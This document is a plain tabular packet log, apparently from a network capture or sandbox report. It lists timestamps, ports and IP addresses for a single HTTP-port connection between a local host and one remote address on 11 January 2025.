Jan 11, 2025 02:04:53.599323988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599329948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599344015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599386930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599392891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599438906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599451065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599476099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599483013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599522114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599567890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599579096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599620104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599627018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599699974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599710941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599749088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599793911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599806070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599817991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599859953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599880934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.599936008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599955082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.599967957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600025892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600083113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600095034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600106955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600117922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600141048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600141048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600263119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600274086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600286961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600312948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600333929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600387096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600511074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600522995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600533962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600550890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600548983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600568056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600579977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600590944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600605011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600776911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600789070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600801945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600815058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600817919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600851059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600899935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600950956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.600966930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.600979090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601011992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.601113081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601125002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601135969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601147890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601164103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.601191998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.601288080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601299047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601310015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601335049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.601335049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601434946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601434946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.601445913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.601489067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.603699923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603719950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603733063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603780031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603802919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.603806973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603821039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603832960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603838921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.603852987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.603928089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603940010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603971958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.603979111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603991032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.603996992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604048014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604049921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604063034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604093075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604173899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604253054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604264975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604305029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604346991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604358912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604370117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604382038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604392052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604417086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604485035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604496956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604516983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604536057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604556084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.604660034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604707956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604720116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.604758024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.611804008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.620587111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620619059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620630980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620665073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.620697021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.620704889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620718002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620753050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.620795965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620807886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620819092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.620839119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.649300098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.654164076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655308008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655353069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655365944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655378103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655386925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655419111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655447006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655459881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655472040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655482054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655483961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655514002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655702114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655714035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655725956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655738115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655750036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655749083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655762911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655774117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655788898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655816078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.655966997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.655978918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656025887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656027079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.656039000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656050920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656063080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656075001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.656075001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.656097889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.660083055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.689619064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689646959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689661980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689759016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.689790964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689805031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689815998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.689817905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689861059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.689865112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.689899921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690026999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690076113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690088987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690121889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690207958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690227032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690239906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690248966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690253019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690288067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690308094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690332890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690351009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690363884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690375090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690387011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690396070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690438986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690572977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690584898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690597057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690606117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690618038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690629959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690639973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690645933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690673113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690747976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690768957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690779924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690795898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690821886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690916061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690928936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690941095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690953016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690963984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.690965891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.690979004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691008091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691008091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691199064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691210985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691232920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691232920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691243887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691256046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691257954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691267967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691278934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691291094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691292048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691303015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691328049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691328049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691330910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691344023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691370964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691631079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691643000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691653967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691665888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691675901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691678047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691690922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.691698074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.691720009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692037106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692049026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692060947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692073107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692081928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692085028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692096949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692109108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692121983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692127943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692135096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692145109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692147017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692159891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692169905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692184925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692202091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692363024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692374945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692385912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692409039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692503929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692517042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692522049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692534924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692548990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692554951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692568064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692580938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692581892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692586899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692600965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692605019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692612886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692625046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692625999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692636967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692648888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692658901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692661047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692672968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692684889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692686081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692686081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692697048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.692725897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.692747116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.693295956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693310022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693320990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693332911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693346024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693344116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.693357944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.693368912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.693393946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.696855068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.711611986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711632967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711644888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711695910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.711709023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711726904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711740971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.711751938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.711780071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.724464893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724493980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724505901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724545956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.724581957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724595070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724606037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724621058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.724643946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.724729061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724741936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.724802017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.727268934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746287107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746332884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746350050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746376038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746439934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746457100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746475935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746481895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746500015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746516943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746520042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746565104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746618032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746634007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746649027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746664047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746670008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746680975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746695995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746706963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746737003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:04:53.746917009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:04:53.746932983 CET	80	49704	193.143.1.205	192.168.2.5
